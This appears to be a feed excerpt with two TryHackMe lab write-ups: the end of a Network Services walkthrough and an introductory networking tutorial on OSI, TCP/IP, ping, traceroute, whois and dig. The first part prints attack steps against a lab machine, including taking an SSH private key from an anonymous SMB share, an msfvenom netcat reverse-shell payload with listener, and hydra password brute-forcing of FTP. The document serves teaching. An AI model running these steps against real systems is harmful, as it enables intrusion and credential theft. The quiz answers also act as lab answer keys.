src="https://cdn-images-1.medium.com/max/726/1*819DfRpMh8JU1LNkIMBz0w.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>What would be the correct syntax to access an SMB share called “secret” as user “suit” on a machine with the IP 10.10.10.2 on the default port?</p><blockquote>smbclient //10.10.10.2/secret -U suit</blockquote><p>Great! Now you’ve got a hang of the syntax, let’s have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.</p><p>Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn’t require authentication to view the files. We can do this easily by:</p><p>- using the username “Anonymous”</p><p>- connecting to the share we found during the enumeration stage</p><p>- and not supplying a password.</p><p>Does the share allow anonymous access? Y/N?</p><blockquote>Y</blockquote><p>Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?</p><blockquote>John Cactus</blockquote><pre>smbclient //$ip/profiles -U Anonymous<br>mget &quot;Working From Home Information.txt&quot;<br>cat &quot;Working From Home Information.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYsKPRW5OGCdT-N2y-dkiw.jpeg" /></figure><p>What service has been configured to allow him to work from home?</p><blockquote>ssh</blockquote><p>Okay! Now we know this, what directory on the share should we look in?</p><blockquote>.ssh</blockquote><p>This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?</p><pre>cd .ssh<br>ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hloRJe2wLpdRj3Mg-KAt6w.jpeg" /></figure><p>Download this file to your local machine, and change the permissions to “600” using “chmod 600 [file]”.</p><p>Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.</p><p>What is the smb.txt flag?</p><pre>mget id_rsa*<br>chmod 600 id_rsa<br>cat id_rsa.pub # to identify the username<br>ssh -i id_rsa cactus@$ip<br>ls<br>cat smb.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1lLTlV4OoRjX_GVmVACJA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*u5NKtJGVMUy5jsbDhvQcIg.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>What is Telnet?</p><blockquote>application protocol</blockquote><p>What has slowly replaced Telnet?</p><blockquote>ssh</blockquote><p>How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?</p><blockquote>telnet 10.10.10.3 23</blockquote><p>The lack of what, means that all Telnet communication is in plaintext?</p><blockquote>encryption</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*4-xF4UFL7vCmstg4pfGX3Q.jpeg" /></figure><p>Answer the questions below</p><p>How many <strong>ports</strong> are open on the target machine?</p><blockquote>1</blockquote><pre>nmap -sS -T4 $ip</pre><p>What <strong>port</strong> is this?</p><blockquote>8012</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZucQ4WnayYbmZ4Ylp9XoOA.jpeg" /></figure><p>This port is unassigned, but still lists the <strong>protocol</strong> it’s using, what protocol is this?</p><blockquote>tcp</blockquote><p>Now re-run the <strong>nmap</strong> scan, without the <strong>-p-</strong> tag, how many ports show up as open?</p><blockquote>0</blockquote><p>Here, we see that by assigning telnet to a <strong>non-standard port</strong>, it is not part of the common ports list, or top 1000 ports, that nmap scans. It’s important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.</p><p>Based on the title returned to us, what do we think this port could be <strong>used for</strong>?</p><blockquote>a backdoor</blockquote><p>Who could it belong to? Gathering possible <strong>usernames</strong> is an important step in enumeration.</p><blockquote>skidy</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*OTDxyuSdqoW7YGhMASvJfA.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>Okay, let’s try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.</p><p>Great! It’s an open telnet connection! What welcome message do we receive?</p><blockquote>Skidy’s Backdoor</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Zg-zKoddnD7GUL7KBwMEyA.jpeg" /></figure><p>Let’s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)</p><blockquote>N</blockquote><p>Hmm… that’s strange. Let’s check to see if what we’re typing is being executed as a system command.</p><p>Start a tcpdump listener on your local machine.</p><p><strong>If using your own machine with the OpenVPN connection, use:</strong></p><ul><li>sudo tcpdump ip proto \\icmp -i tun0</li></ul><p><strong>If using the AttackBox, use:</strong></p><ul><li>sudo tcpdump ip proto \\icmp -i eth0</li></ul><p>This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.</p><p>Now, use the command <strong>“ping [local THM ip] -c 1” </strong>through the telnet session to see if we’re able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)</p><blockquote>Y</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0jozR6u_VmCGtFDGcu_eiw.jpeg" /></figure><p>Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let’s have some fun!</p><p>We’re going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here’s our syntax:</p><p><strong>“msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R”</strong></p><p>-p = payload</p><p>lhost = our local host IP address (this is <strong>your</strong> machine’s IP address)</p><p>lport = the port to listen on (this is the port on <strong>your </strong>machine)</p><p>R = export the payload in raw format</p><p>What word does the generated payload start with?</p><pre>msfconsole<br>msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R</pre><blockquote>mkfifo</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdAARCy4vQRVn0mocRj7cg.jpeg" /></figure><p>Perfect. We’re nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using:</p><p><strong>“nc -lvp [listening port]”</strong></p><p>What would the command look like for the listening port we selected in our payload?</p><blockquote>nc -lvp 4444</blockquote><p>Great! Now that’s running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!</p><p>Success! What is the contents of flag.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWrfQmY9S8wqzEPbJRVF_w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*aPbqsHl2nhbNWzuuv251rw.jpeg" /></figure><p>What communications model does FTP use?</p><blockquote>client-server</blockquote><p>What’s the standard FTP port?</p><blockquote>21</blockquote><p>How many modes of FTP connection are there?</p><blockquote>2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*o5C4fpk76ENrJhueKib50g.jpeg" /></figure><p><strong>Answer the questions below</strong></p><p>Run an <strong>nmap</strong> scan of your choice.</p><p>How many <strong>ports</strong> are open on the target machine?</p><blockquote>2</blockquote><pre>nmap -sS -A -T4 $ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pyt1WdaNR4Kuvj7RYHQOYg.jpeg" /></figure><p>What <strong>port</strong> is ftp running on?</p><blockquote>21</blockquote><p>What <strong>variant </strong>of FTP is running on it?</p><blockquote>vsftpd</blockquote><p>Great, now we know what type of FTP server we’re dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing “<em>ftp [IP]</em>” into the console, and entering “anonymous”, and no password when prompted.</p><p>What is the name of the file in the anonymous FTP directory?</p><blockquote>Public_notice.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4xhV0FWvm3MhCdFiy58DMQ.jpeg" /></figure><p>What do we think a possible username could be?</p><blockquote>Mike</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*P0rnSbh4aVMg2eivZCO99w.jpeg" /></figure><p>Great! Now we’ve got details about the FTP server and, crucially, a possible username. Let’s see what we can do with that…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*1hf8_oEDHEjxaut3aO0VpA.jpeg" /></figure><p>What is the password for the user “mike”?</p><blockquote>password</blockquote><pre>hydra -l mike -P /usr/share/wordlists/rockyou.txt $ip</pre><p>Bingo! Now, let’s connect to the FTP server as this user using <strong>“ftp [IP]” </strong>and entering the credentials when prompted</p><p>What is ftp.txt?</p><pre>ftp $ip<br>use mike as username and mikes password<br>get ftp.txt<br>cat ftp.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4M30xiH6DRPu9Fe-QAgqCg.jpeg" /></figure><p>#tryhackme #blueteam #cyberdefense #networkservices #ctf</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c9b1c785e6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Networking Introductory]]></title>
            <link>https://medium.com/@cb.fcsumile/networking-introductory-7e113a7234b6?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e113a7234b6</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Mon, 20 Feb 2023 18:29:08 GMT</pubDate>
            <atom:updated>2023-02-20T18:29:08.147Z</atom:updated>
            <content:encoded><![CDATA[<p>Tryhackme writeup for Networking Introductory</p><p><a href="https://tryhackme.com/room/introtonetworking">Introductory Networking</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZ-ZZmhK8RTsFBKyN2sMlA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*ZSqUcICSwnb9QSvl8HqBvg.jpeg" /></figure><p>Introduction to the basic principles of networking. Networking is a <em>massive</em> topic, so this really will just be a brief overview; however, it will hopefully give you some foundational knowledge of the topic, which you can build upon for yourself<em>.</em></p><p>The topics that we’re going to cover in this room are:</p><ul><li>The OSI Model</li><li>The TCP/IP Model</li><li>How these models look in practice</li><li>An introduction to basic networking tools</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*q6aSI7yWGdq6h_YYc01xTQ.jpeg" /></figure><p>The OSI (<strong>O</strong>pen <strong>S</strong>ystems <strong>I</strong>nterconnection) Model is a standardised model which we use to demonstrate the theory behind computer networking. In practice, it’s actually the more compact TCP/IP model that real-world networking is based off; however the OSI model, in many ways, is easier to get an initial understanding from.</p><p>The OSI model consists of seven layers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/134/0*nNxhVogbO6uujHvJ.png" /></figure><p>There are many mnemonics floating around to help you learn the layers of the OSI model — search around until you find one that you like.</p><p>I personally favour: <strong>A</strong>nxious <strong>P</strong>ale <strong>S</strong>hakespeare <strong>T</strong>reated <strong>N</strong>ervous <strong>D</strong>runks <strong>P</strong>atiently</p><p>Let’s briefly take a look at each of these in turn:</p><p><strong>Layer 7 — Application:</strong></p><p>The application layer of the OSI model essentially provides networking options to programs running on a computer. It works almost exclusively with applications, providing an interface for them to use in order to transmit data. When data is given to the application layer, it is passed down into the presentation layer.</p><p><strong>Layer 6 — Presentation:</strong></p><p>The presentation layer receives data from the application layer. This data tends to be in a format that the application understands, but it’s not necessarily in a standardised format that could be understood by the application layer in the <em>receiving</em> computer. The presentation layer translates the data into a standardised format, as well as handling any encryption, compression or other transformations to the data. With this complete, the data is passed down to the session layer.</p><p><strong>Layer 5 — Session:</strong></p><p>When the session layer receives the correctly formatted data from the presentation layer, it looks to see if it can set up a connection with the other computer across the network. If it can’t then it sends back an error and the process goes no further. If a session <em>can</em> be established then it’s the job of the session layer to maintain it, as well as co-operate with the session layer of the remote computer in order to synchronise communications. The session layer is particularly important as the session that it creates is unique to the communication in question. This is what allows you to make multiple requests to different endpoints simultaneously without all the data getting mixed up (think about opening two tabs in a web browser at the same time)! When the session layer has successfully logged a connection between the host and remote computer the data is passed down to Layer 4: the transport Layer.</p><p><strong>Layer 4 — Transport:</strong></p><p>The transport layer is a very interesting layer that serves numerous important functions. Its first purpose is to choose the protocol over which the data is to be transmitted. The two most common protocols in the transport layer are TCP (<strong>T</strong>ransmission <strong>C</strong>ontrol <strong>P</strong>rotocol) and UDP (<strong>U</strong>ser <strong>D</strong>atagram<strong> P</strong>rotocol); with TCP the transmission is <em>connection-based</em> which means that a connection between the computers is established and maintained for the duration of the request. This allows for a reliable transmission, as the connection can be used to ensure that the packets <em>all</em> get to the right place. A TCP connection allows the two computers to remain in constant communication to ensure that the data is sent at an acceptable speed, and that any lost data is re-sent. With UDP, the opposite is true; packets of data are essentially thrown at the receiving computer — if it can’t keep up then that’s <em>its </em>problem (this is why a video transmission over something like Skype can be pixelated if the connection is bad). What this means is that TCP would usually be chosen for situations where accuracy is favoured over speed (e.g. file transfer, or loading a webpage), and UDP would be used in situations where speed is more important (e.g. video streaming).</p><p>With a protocol selected, the transport layer then divides the transmission up into bite-sized pieces (over TCP these are called <em>segments</em>, over UDP they’re called <em>datagrams</em>), which makes it easier to transmit the message successfully.</p><p><strong>Layer 3 — Network:</strong></p><p>The network layer is responsible for locating the destination of your request. For example, the Internet is a huge network; when you want to request information from a webpage, it’s the network layer that takes the IP address for the page and figures out the best route to take. At this stage we’re working with what is referred to as <em>Logical </em>addressing (i.e. IP addresses) which are still software controlled. Logical addresses are used to provide order to networks, categorising them and allowing us to properly sort them. Currently the most common form of logical addressing is the IPV4 format, which you’ll likely already be familiar with (i.e 192.168.1.1 is a common address for a home router).</p><p><strong>Layer 2 — Data Link:</strong></p><p>The data link layer focuses on the <em>physical </em>addressing of the transmission. It receives a packet from the network layer (that includes the IP address for the remote computer) and adds in the physical (MAC) address of the receiving endpoint. Inside every network enabled computer is a <strong>N</strong>etwork <strong>I</strong>nterface <strong>C</strong>ard (NIC) which comes with a unique MAC (<strong>M</strong>edia <strong>A</strong>ccess <strong>C</strong>ontrol) address to identify it.</p><p>MAC addresses are set by the manufacturer and literally burnt into the card; they can’t be changed — although they <em>can</em> be spoofed. When information is sent across a network, it’s actually the physical address that is used to identify where exactly to send the information.</p><p>Additionally, it’s also the job of the data link layer to present the data in a format suitable for transmission.</p><p>The data link layer also serves an important function when it receives data, as it checks the received information to make sure that it hasn’t been corrupted during transmission, which could well happen when the data is transmitted by layer 1: the physical layer.</p><p><strong>Layer 1 — Physical:</strong></p><p>The physical layer is right down to the hardware of the computer. This is where the electrical pulses that make up data transfer over a network are sent and received. It’s the job of the physical layer to convert the binary data of the transmission into signals and transmit them across the network, as well as receiving incoming signals and converting them back into binary data.</p><h3><strong>Answer the questions below</strong></h3><p>Which layer would choose to send data over TCP or UDP?</p><blockquote>4</blockquote><p>Which layer checks received information to make sure that it hasn’t been corrupted?</p><blockquote>2</blockquote><p>In which layer would data be formatted in preparation for transmission?</p><blockquote>2</blockquote><p>Which layer transmits and receives data?</p><blockquote>1</blockquote><p>Which layer encrypts, compresses, or otherwise transforms the initial data to give it a standardised format?</p><blockquote>6</blockquote><p>Which layer tracks communications between the host and receiving computers?</p><blockquote>5</blockquote><p>Which layer accepts communication requests from applications?</p><blockquote>7</blockquote><p>Which layer handles logical addressing?</p><blockquote>3</blockquote><p>When sending data over TCP, what would you call the “bite-sized” pieces of data?</p><blockquote>segments</blockquote><p><strong>[Research]</strong> Which layer would the FTP protocol communicate with?</p><blockquote>7</blockquote><p>Which transport layer protocol would be best suited to transmit a live video?</p><blockquote>udp</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*wNgmKmOXlnDxJCKSPUUgvw.jpeg" /></figure><p>As the data is passed down each layer of the model, more information containing details specific to the layer in question is added on to the start of the transmission. As an example, the header added by the Network Layer would include things like the source and destination IP addresses, and the header added by the Transport Layer would include (amongst other things) information specific to the protocol being used. The data link layer also adds a piece on at the <em>end</em> of the transmission, which is used to verify that the data has not been corrupted on transmission; this also has the added bonus of increased security, as the data can’t be intercepted and tampered with without breaking the trailer. This whole process is referred to as <em>encapsulation; </em>the process by which data can be sent from one computer to another.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EOuJX2lVOSOF6avZ.jpeg" /></figure><p>Notice that the encapsulated data is given a different name at different steps of the process. In layers 7,6 and 5, the data is simply referred to as data. In the transport layer the encapsulated data is referred to as a segment or a datagram (depending on whether TCP or UDP has been selected as a transmission protocol). At the Network Layer, the data is referred to as a packet. When the packet gets passed down to the Data Link layer it becomes a frame, and by the time it’s transmitted across a network the frame has been broken down into bits.</p><p>When the message is received by the second computer, it reverses the process — starting at the physical layer and working up until it reaches the application layer, stripping off the added information as it goes. This is referred to as <em>de-encapsulation. </em>As such you can think of the layers of the OSI model as existing inside every computer with network capabilities. Whilst it’s not actually as clear cut in practice, computers all follow the same process of encapsulation to send data and de-encapsulation upon receiving it.</p><p>The processes of encapsulation and de-encapsulation are very important — not least because of their practical use, but also because they give us a standardised method for sending data. This means that all transmissions will consistently follow the same methodology, allowing any network enabled device to send a request to any other reachable device and be sure that it will be understood — regardless of whether they are from the same manufacturer; use the same operating system; or any other factors.</p><p><strong>Answer the questions below</strong></p><p>How would you refer to data at layer 2 of the encapsulation process (with the OSI model)?</p><blockquote>frames</blockquote><p>How would you refer to data at layer 4 of the encapsulation process (with the OSI model), if the UDP protocol has been selected?</p><blockquote>datagram</blockquote><p>What process would a computer perform on a received message?</p><blockquote>encapsulation</blockquote><p>Which is the only layer of the OSI model to add a <em>trailer</em> during encapsulation?</p><blockquote>data link</blockquote><p>Does encapsulation provide an extra layer of security <strong>(Aye/Nay)</strong>?</p><blockquote>aye</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*dBDo0d0g8GaNENqf03Cy6Q.jpeg" /></figure><p>The TCP/IP model is, in many ways, very similar to the OSI model. It’s a few years older, and serves as the basis for real-world networking. The TCP/IP model consists of four layers: Application, Transport, Internet and Network Interface. Between them, these cover the same range of functions as the seven layers of the OSI Model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/153/0*jHvnwzQ_98C_OTsQ.png" /></figure><p><strong><em>Note: </em></strong><em>Some recent sources split the TCP/IP model into five layers — breaking the Network Interface layer into Data Link and Physical layers (as with the OSI model). This is accepted and well-known; however, it is not officially defined (unlike the original four layers which are defined in RFC1122). It’s up to you which version you use — both are generally considered valid.</em></p><p>You would be justified in asking why we bother with the OSI model if it’s not actually used for anything in the real-world. The answer to that question is quite simply that the OSI model (due to being less condensed and more rigid than the TCP/IP model) tends to be easier for learning the initial theory of networking.</p><p>The two models match up something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/0*SWRd7iRdTX5b47IB.png" /></figure><p>The processes of encapsulation and de-encapsulation work in exactly the same way with the TCP/IP model as they do with the OSI model. At each layer of the TCP/IP model a header is added during encapsulation, and removed during de-encapsulation.</p><p>Now let’s get down to the practical side of things.</p><p>A layered model is great as a visual aid — it shows us the general process of how data can be encapsulated and sent across a network, but how does it actually happen?</p><p>When we talk about TCP/IP, it’s all well and good to think about a table with four layers in it, but we’re actually talking about a suite of protocols — sets of rules that define how an action is to be carried out. TCP/IP takes its name from the two most important of these: the <strong>T</strong>ransmission <strong>C</strong>ontrol <strong>P</strong>rotocol (which we touched upon earlier in the OSI model) that controls the flow of data between two endpoints, and the <strong>I</strong>nternet <strong>P</strong>rotocol, which controls how packets are addressed and sent. There are many more protocols that make up the TCP/IP suite; we will cover some of these in later tasks. For now though, let’s talk about TCP.</p><p>As mentioned earlier, TCP is a <em>connection-based</em> protocol. In other words, before you send any data via TCP, you must first form a stable connection between the two computers. The process of forming this connection is called the <em>three-way handshake</em>.</p><p>When you attempt to make a connection, your computer first sends a special request to the remote server indicating that it wants to initialise a connection. This request contains something called a <em>SYN</em> (short for <em>synchronise</em>) bit, which essentially makes first contact in starting the connection process. The server will then respond with a packet containing the SYN bit, as well as another “acknowledgement” bit, called <em>ACK</em>. Finally, your computer will send a packet that contains the ACK bit by itself, confirming that the connection has been setup successfully. With the three-way handshake successfully completed, data can be reliably transmitted between the two computers. Any data that is lost or corrupted on transmission is re-sent, thus leading to a connection which appears to be lossless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/0*G5btQgg5jtYSjpoM.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d-3rDKhTMkhUFCg9.jpeg" /></figure><p><em>(Credit Kieran Smith, Abertay University)</em></p><p>We’re not going to go into exactly <em>how</em> this works on a step-to-step level — not in this room at any rate. It is sufficient to know that the three-way handshake must be carried out before a connection can be established using TCP.</p><p><strong>History:</strong></p><p>It’s important to understand exactly <em>why</em> the TCP/IP and OSI models were originally created. To begin with there was no standardisation — different manufacturers followed their own methodologies, and consequently systems made by different manufacturers were completely incompatible when it came to networking. The TCP/IP model was introduced by the American DoD in 1982 to provide a standard — something for all of the different manufacturers to follow. This sorted out the inconsistency problems. Later the OSI model was also introduced by the International Organisation for Standardisation (<a href="https://www.iso.org/home.html">ISO</a>); however, it’s mainly used as a more comprehensive guide for learning, as the TCP/IP model is still the standard upon which modern networking is based.</p><p><strong>Answer the questions below</strong></p><p>Which model was introduced first, OSI or TCP/IP?</p><blockquote>tcp/ip</blockquote><p>Which layer of the TCP/IP model covers the functionality of the Transport layer of the OSI model <strong>(Full Name)</strong>?</p><blockquote>transport</blockquote><p>Which layer of the TCP/IP model covers the functionality of the Session layer of the OSI model <strong>(Full Name)</strong>?</p><blockquote>application</blockquote><p>The Network Interface layer of the TCP/IP model covers the functionality of two layers in the OSI model. These layers are Data Link, and?.. <strong>(Full Name)</strong>?</p><blockquote>physical</blockquote><p>Which layer of the TCP/IP model handles the functionality of the OSI network layer?</p><blockquote>internet</blockquote><p>What kind of protocol is TCP?</p><blockquote>connection-base</blockquote><p>What is SYN short for?</p><blockquote>synchronise</blockquote><p>What is the second step of the three way handshake?</p><blockquote>syn/ack</blockquote><p>What is the short name for the “Acknowledgement” segment in the three-way handshake?</p><blockquote>ack</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*en7zBXmmlMLyrnJoVehIGw.jpeg" /></figure><p>At this stage, hopefully all of the theory has made sense and you now understand the basic models behind computer networking. For the rest of the room we’re going to be taking a look at some of the command line networking tools that we can use in practical applications. Many of these tools do work on other operating systems, but for the sake of simplicity, I’m going to assume that you’re running Linux for the rest of this room. The first tool that we’re going to look at will be the ping command.</p><p>The ping command is used when we want to test whether a connection to a remote resource is possible. Usually this will be a website on the internet, but it could also be for a computer on your home network if you want to check if it’s configured correctly. Ping works using the ICMP protocol, which is one of the slightly less well-known TCP/IP protocols that were mentioned earlier. The ICMP protocol works on the Network layer of the OSI Model, and thus the Internet layer of the TCP/IP model. The basic syntax for ping is ping &lt;target&gt;. In this example we are using ping to test whether a network connection to Google is possible:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/0*WOJFt0-MwJvwui_8.png" /></figure><p>Notice that the ping command actually returned the IP address for the Google server that it connected to, rather than the URL that was requested. This is a handy secondary application for ping, as it can be used to determine the IP address of the server hosting a website. One of the big advantages of ping is that it’s pretty much ubiquitous to any network enabled device. All operating systems support it out of the box, and even most embedded devices can use ping!</p><p>Have a go at the following questions. Any questions about syntax can be answered using the man page for ping (man ping on Linux).</p><p><strong>Answer the questions below</strong></p><p>What command would you use to ping the bbc.co.uk website?</p><blockquote>ping bbc.co.uk</blockquote><p>Ping <em>muirlandoracle.co.uk</em><br>What is the IPv4 address?</p><blockquote>217.160.0.152</blockquote><p>What switch lets you change the interval of sent ping requests?</p><blockquote>-i</blockquote><p>What switch would allow you to restrict requests to IPv4?</p><blockquote>-4</blockquote><p>What switch would give you a more verbose output?</p><blockquote>-v</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*rdqXGsQ7JY1-9S17pkr8iw.jpeg" /></figure><p>The logical follow-up to the ping command is ‘traceroute’. Traceroute can be used to map the path your request takes as it heads to the target machine.</p><p>The internet is made up of many, many different servers and end-points, all networked up to each other. This means that, in order to get to the content you actually want, you first need to go through a bunch of other servers. Traceroute allows you to see each of these connections — it allows you to see every intermediate step between your computer and the resource that you requested. The basic syntax for traceroute on Linux is this: traceroute &lt;destination&gt;</p><p>By default, the Windows traceroute utility (tracert) operates using the same ICMP protocol that ping utilises, and the Unix equivalent operates over UDP. This can be altered with switches in both instances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/0*F0tEztJjcoFmpTrb.png" /></figure><p>You can see that it took 13 hops to get from my router (_gateway) to the Google server at 216.58.205.46</p><p>Now it’s your turn. As with before, all questions about switches can be answered with the man page for traceroute<br>(man traceroute).</p><p><strong>Answer the questions below</strong></p><p>What switch would you use to specify an interface when using Traceroute?</p><blockquote>-i</blockquote><p>What switch would you use if you wanted to use TCP SYN requests when tracing the route?</p><blockquote>-T</blockquote><p><strong>[Lateral Thinking] </strong>Which layer of the <strong><em>TCP/IP</em></strong> model will traceroute run on by default (Windows)?</p><blockquote>internet</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*7O2E2Q-INZLgS3TVCtC6-w.jpeg" /></figure><p>Domain Names — the unsung saviours of the internet.</p><p>Can you imagine how it would feel to remember the IP address of every website you want to visit? Horrible thought.</p><p>Fortunately, we’ve got domains.</p><p>We’ll talk a little bit more about how this works in the next task, but for now suffice to know that a domain translates into an IP address so that we don’t need to remember it (e.g. you can type tryhackme.com, rather than the TryHackMe IP address). Domains are leased out by companies called Domain Registrars. If you want a domain, you go and register with a registrar, then lease the domain for a certain length of time.</p><p>Enter Whois.</p><p>Whois essentially allows you to query who a domain name is registered to. In Europe personal details are redacted; however, elsewhere you can potentially get a great deal of information from a whois search.</p><p>There is a <a href="https://www.whois.com/whois/">web version</a> of the whois tool if you’re particularly adverse to the command line. Either way, let’s get started!</p><p><em>(Note: You may need to install whois before using it. On Debian based systems this can be done with </em>sudo apt update &amp;&amp; sudo apt-get install whois<em>)</em></p><p>Whois lookups are very easy to perform. Just use whois &lt;domain&gt; to get a list of available information about the domain registration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wRxfJ-CqAlzKC3Yp.png" /></figure><p>This is comparatively a very small amount of information as can often be found. Notice that we’ve got the domain name, the company that registered the domain, the last renewal, and when it’s next due, and a bunch of information about nameservers (which we’ll look at in the next task).</p><p>Your Turn</p><p><strong>Answer the questions below</strong></p><p><strong>Perform a whois search on </strong><strong>facebook.com</strong></p><p>What is the registrant postal code for facebook.com?</p><blockquote>94025</blockquote><p>When was the facebook.com domain first registered (Format: DD/MM/YYYY)?</p><blockquote>29/03/1997</blockquote><p><strong>Perform a whois search on </strong><strong>microsoft.com</strong></p><p>(Note: If you fail to read the above instruction and consequently get the wrong answer for the next question, don’t expect a helpful response if you report it as a bug…)</p><p>Which city is the registrant based in?</p><blockquote>redmond</blockquote><p><strong>[OSINT] </strong>What is the name of the golf course that is near the registrant address for microsoft.com?</p><blockquote>bellevue golf course</blockquote><p>What is the registered Tech Email for microsoft.com?</p><blockquote><a href="/service/mailto:msnhst@microsoft.com">msnhst@microsoft.com</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*8GZlE1Yv583pUkaiz8xCvg.jpeg" /></figure><p>We talked about domains in the previous task — now lets talk about how they work.</p><p>Ever wondered how a URL gets converted into an IP address that your computer can understand? The answer is a TCP/IP protocol called DNS (<strong>D</strong>omain <strong>N</strong>ame <strong>S</strong>ystem).</p><p>At the most basic level, DNS allows us to ask a special server to give us the IP address of the website we’re trying to access. For example, if we made a request to <a href="http://www.google.com,/">www.google.com,</a> our computer would first send a request to a special DNS server (which your computer already knows how to find). The server would then go looking for the IP address for Google and send it back to us. Our computer could then send the request to the IP of the Google server.</p><p>Let’s break this down a bit.</p><p>You make a request to a website. The first thing that your computer does is check its local cache to see if it’s already got an IP address stored for the website; if it does, great. If not, it goes to the next stage of the process.</p><p>Assuming the address hasn’t already been found, your computer will then send a request to what’s known as a <em>recursive</em> DNS server. These will automatically be known to the router on your network. Many Internet Service Providers (ISPs) maintain their own recursive servers, but companies such as Google and OpenDNS also control recursive servers. This is how your computer automatically knows where to send the request for information: details for a recursive DNS server are stored in your router. This server will also maintain a cache of results for popular domains; however, if the website you’ve requested isn’t stored in the cache, the recursive server will pass the request on to a <em>root name</em> server.</p><p>Before 2004 there were precisely 13 root name DNS servers in the world. These days there are many more; however, they are still accessible using the same 13 IP addresses assigned to the original servers (balanced so that you get the closest server when you make a request). The root name servers essentially keep track of the DNS servers in the next level down, choosing an appropriate one to redirect your request to. These lower level servers are called <em>Top-Level</em> <em>Domain</em> servers.</p><p>Top-Level Domain (TLD) servers are split up into extensions. So, for example, if you were searching for tryhackme<strong>.com</strong> your request would be redirected to a TLD server that handled .com domains. If you were searching for bbc<strong>.co.uk</strong> your request would be redirected to a TLD server that handles .co.uk domains. As with root name servers, TLD servers keep track of the next level down: <em>Authoritative name servers</em>. When a TLD server receives your request for information, the server passes it down to an appropriate Authoritative name server.</p><p>Authoritative name servers are used to store DNS records for domains directly. In other words, every domain in the world will have its DNS records stored on an Authoritative name server somewhere or another; they are the source of the information. When your request reaches the authoritative name server for the domain you’re querying, it will send the relevant information back to you, allowing your computer to connect to the IP address behind the domain you requested.</p><p>When you visit a website in your web browser this all happens automatically, but we can also do it manually with a tool called dig . Like ping and traceroute, dig should be installed automatically on Linux systems.</p><p>Dig allows us to manually query recursive DNS servers of our choice for information about domains:<br>dig &lt;domain&gt; @&lt;dns-server-ip&gt;</p><p>It is a very useful tool for network troubleshooting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*YX6QeX8TJimEs7sf.png" /></figure><p>This is a <em>lot</em> of information. We’re currently most interested in the ANSWER section for this room; however, taking the time to learn what the rest of this means is a very good idea. In summary, that information is telling us that we sent it one query and successfully (i.e. No Errors) received one full 